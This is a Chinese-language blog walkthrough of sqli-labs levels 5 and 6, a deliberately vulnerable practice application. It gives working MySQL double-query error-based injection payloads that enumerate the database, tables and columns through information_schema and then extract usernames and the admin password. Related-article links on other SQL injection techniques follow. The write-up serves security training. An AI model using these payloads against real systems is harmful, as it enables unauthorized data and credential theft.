sqli注入--利用information_schema配合双查询报错注入
本文以sqli-labs第五第六关为例,详细原理见我上一篇文章
sqli-labs资源在这:https://github.com/Audi-1/sqli-labs
sqli-labs 5、6双查询报错注入通关
这篇为了代码行语法高亮好看,就把payload中sql语句之前的内容省去了,复制使用时记得在payload前面加上?id=-1'
第六关闭合方式是双引号,所以将payload的单引号改成双引号直接使用即可。
这里的思路,利用双查询的报错提示和information_schema库获得数据库信息,思路可见目录。
好,进入正文~
0x01 获取目标库名
报错获得当前的数据库名:

payload:
union select 1,count(*),
concat((select database()),"==",floor(rand()*2)) as a
from information_schema.tables where table_schema='security' group by a --+
获得当前数据库名为security

0x02 获取库中表的数量
information_schema库中有一张tables表,含有数据库所有的表信息,这个表里有一个列table_schema,内容为表所属的数据库,利用这两个属性可以获得security库中的表名信息:

payload:
union select 1,count(*),concat((select count(table_name) from information_schema.tables),"==",floor(rand()*2)) as a from information_schema.tables where table_schema='security' group by a --+

可知道这个数据库有四个表
0x03 获取库中表名
这里本来想在子查询中利用group_concat函数将几个表名直接连接在一起输出的,payload如下,试了没用,不能触发报错,cmd里直接用数据库跑也不行,可以查询出结果,但是不会报错,具体原因不了解 估计是group_concat()函数的原因
## 子查询中利用group_concat()函数,失败
union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),"==",floor(rand()*2))as a from information_schema.schemata group by a --+
所以还是用limit函数,让查询结果每次一行的显示,尽管比较麻烦,但目前只能这样了,第一个表:

union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),"==",floor(rand()*2))as a from information_schema.schemata group by a --+

先爆出第一个表名为emails
然后改变limit函数的参数,依次为limt 1,1,limt 2,1,limt 3,1,将后面3个表名爆出来

最终找到我们需要的表,users,从表名就可以知道其中含有用户信息。
0x04 获取目标表中的列数
和上面的思路一样,获取users表中的列数,然后再进一步获取每一列的列名
这里利用information_schema中的columns表,这个表记录了所有的数据库列信息,可以获取users表的列数
先构造获得users表列数和列名的sql语句如下


所以查users表列数的pyload如下:
union select 1,count(*),concat((select count(column_name) from information_schema.columns where table_schema='security' and table_name="users"),"==",floor(rand()*2)) as a from information_schema.tables where table_schema='security' group by a --+
爆出users表中有3列内容

0x05 获取目标表的列名
然后通过limit函数将列名逐一爆出来,payload如下,改变limit的变量即可:
union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name="users" limit 0,1),"==",floor(rand()*2)) as a from information_schema.tables where table_schema='security' group by a --+

第一列的列名是id:

继续爆出剩下的两个列名:

0x06 从列中获取用户名
知道username和password两个列名后,就可以用来获得用户名了,这里我们已经获得了足够的信息,所以可以不用借助information_schema库了,大大的缩短了payload长度:
union select 1,count(*),concat((select username from users limit 0,1),"==",floor(rand()*2)) as a from user group by a --+
获得第一个用户名为Dumb


改变limit参数,获得全部的用户名,这里省略获取过程,直接进入找密码部分。
0x07 获取对应的用户密码
在上一步的查询过程中,发现有一个用户名为admin,现在爆出admin用户的密码

爆出admin的密码就是admin

OK,完成本次闯关!
0x08 过关小结
这一关使用我这个方法有些迂回,希望写的能让大家看懂,这个方式比较多的依赖information_schema库的应用,所有有一定局限性,但是思路还是挺不错的。
其实可以用ASCII码猜解或者延时注入的方法,同时借助burpsuite的话比这个方法更加省力,但是之前学习了双查询注入,也为了巩固,所以用来练手,恰好也发现了这种注入方式中子查询若使用group_concat()函数无法触发报错,同时也加固了对information_schema表的了解,也算是有了很多成长。
最后,感谢你的观看,如果觉得文中有什么写的不对的地方可以私信或者评论留言,我会仔细的查看,一起进步,一起成长~
sqli注入--利用information_schema配合双查询报错注入的更多相关文章
- sql注入--双查询报错注入原理探索
目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客, ...
- sql注入--双查询报错注入
sql注入--双查询报错注入 背景:在sqli-labs第五关时,即使sql语句构造成功页面也没有回显出我们需要的信息,看到了有使用双查询操作造成报错的方式获得数据库信息,于是研究了一下双查询的报错原 ...
- SQL注入之Sqli-labs系列第三十关(基于WAF防护的双引号报错注入)和三十一关
开始挑战第三十关和三十一关(Protection with WAF) 0x1 前言 这关其实和29关是同样的,login.php页面存在防护,只要检测到存在问题就跳转到hacked.php页面,不同的 ...
- SQL注入——报错注入
0x00 背景 SQL注入长期位于OWASP TOP10 榜首,对Web 安全有着很大的影响,黑客们往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利 ...
- MySQL手注之报错注入
报错注入: 指在页面中没有一个合适的数据返回点的情况下,利用mysql函数的报错来创造一个显位的注入.先来了解一下报错注入常用的函数 XML:指可扩展标记语言被设计用来传输和存储数据. concat: ...
- [极客大挑战 2019]HardSQL updatexml报错注入小结
报错注入链接: https://www.cnblogs.com/richardlee97/p/10617115.html报错原因: 其原因主要是因为虚拟表的主键重复.按照MySQL的官方说法,grou ...
- 实验吧web加了料的报错注入
知识点: SQL注入中用到的Concat函数详解 http://www.sohu.com/a/219966085_689961 http分割注入 直接根据提示,提交post请求的用户名和密码 结 ...
- SQL注入之MySQL报错注入整理
看大佬们的文章看得我虎躯一震,精神抖擞,于是心血来潮,整理一下MySQL报错注入常见的手段和方法,再举几个例子 <代码审计:企业级Web代码安全架构>一书中介绍过报错注入十大方法,依次是: ...
- Sqli labs系列-less-5&6 报错注入法(上)
在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...
随机推荐
- Core官方DI解析(5)-ServiceProviderEngine
最后来看看前面一直说的Engine(工作引擎),工作引擎接口是IServiceProviderEngine在ServiceProvider的构造函数中看到了根据指定的Mode创建了不同的实现类,下面先 ...
- 在Winform系统界面中对进展阶段的动态展示和处理
在我们做客户关系管理系统的Winform界面的时候,需要对进展阶段这个属性进行一个方便的动态切换和标记处理,如我们根据不同的进展阶段显示不同的相关信息,也可以随时保存当前的阶段信息.其实也是一个比较常 ...
- input type类型和input表单属性
一.input type类型 1.Input 类型 - email 在提交表单时,会自动验证 email 域的值. E-mail: <input type="email" n ...
- Git使用(积累一些常用的命令)
1. 取消某一次合并 git merge --abort 可以参考的教程:https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248 ...
- JDBC 初识
JDBC是 "Java Database Connective" 的缩写,是使用Java去连接数据库进行数据操作的过程. 首先通过Eclipse 创建动态项目,Dynamic We ...
- 微信内无法自动跳转外部浏览器打开H5分享链接的解决办法
很多情况下我们用微信分享转发H5链接的时候,都无法在微信内打开,即使开始能打开,过一段时间就会被拦截,拦截后再打开微信会提示 “已停止访问该网址” ,那么导致这个情况的因素有哪些呢,主要有以下四点 1 ...
- Java Core - ‘==’和‘equals’的区别
不管是‘==’还是‘equals’,他们的比较都需要区分类型来讨论的: ‘==’ 当比较的数据类型是基本类型时,比较值是否相同 当比较的数据类型是引用类型时,不仅比较值相同还比较其所在内存地址是否相同 ...
- JEECG BOOT
JEECGBOOT - 开源搜索 - 开源中国https://www.oschina.net/search?scope=blog&q=JEECGBOOT JEECG 基于代码生成器J2EE智能 ...
- [ffmpeg] AVOption
在ffmpeg中,常使用AVOption的API来进行参数设置.AVOption的API主要分为设置参数以及提取参数两种,无论是哪一种API都主要分为两大步骤: 寻找出参数所在的内存位置. 如果是设置 ...
- 【SEERC2018A】【XSY3319】Numbers
给你一个数 \(n\),求有多少种方案能把 \(n\) 分成两个非零回文数 \((a,b)\) 之和. 两个方案不同当且仅当 \(a_1\neq a_2\). \(n\leq {10}^{18}\) ...